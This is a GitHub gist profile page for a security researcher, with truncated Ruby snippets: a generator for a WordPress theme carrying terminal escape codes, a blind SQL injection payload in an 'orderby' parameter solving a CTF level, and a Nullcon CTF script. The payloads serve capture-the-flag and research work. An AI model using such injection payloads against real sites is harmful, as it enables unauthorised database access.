Skip to content

Instantly share code, notes, and snippets.

🖥
hacking your server

Christian Mehlmauer FireFart

🖥
hacking your server
Block or report user

Report or block FireFart

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View keybase.md

Keybase proof

I hereby claim:

  • I am FireFart on github.
  • I am firefart (https://keybase.io/firefart) on keybase.
  • I have a public key whose fingerprint is CD5B 272C CF59 21DD 92D6 CD3A DCF5 4A05 D6E6 2591

To claim this, I am signing this object:

@FireFart
FireFart / create_bad_theme.rb
Created Dec 11, 2013
Creates a Wordpress theme with terminal escape characters in it's name
View create_bad_theme.rb
#!/usr/bin/env ruby
colored = "\e[34mColored Text\e[0m"
bold = "\e[1m Bold!\e[0m"
style_css = <<CSS.sub('{1}', colored).sub('{2}', bold).strip
/*
Theme Name: bad_theme
Theme URI: http://www.firefart.net
Description: {1}
@FireFart
FireFart / bitcoinctf_level2_and_3.rb
Created May 4, 2013
Solution for level02 and level03 for bitcoinctf
View bitcoinctf_level2_and_3.rb
#!/usr/bin/env ruby
require 'net/http'
require 'uri'
def make_request(url, payload)
uri = URI.parse("http://www.bitcoinctf.com#{url}")
params = {
:orderby => "1, (select case when (#{payload}) then 1 else 1*(select table_name from information_schema.tables)end)=1",
:limit => '1'
@FireFart
FireFart / nullcon2013_prog5.rb
Last active Dec 12, 2015
Solution for "Programming challenge 5 - copy paste" of Nullcon CTF 2013
View nullcon2013_prog5.rb
#!/usr/bin/env ruby
require "net/http"
require "uri"
url = URI.parse("http://ctf.nullcon.net/challenges/programming/challenge.php")
found = false
while not found do
response = Net::HTTP.get_response(url)
You can’t perform that action at this time.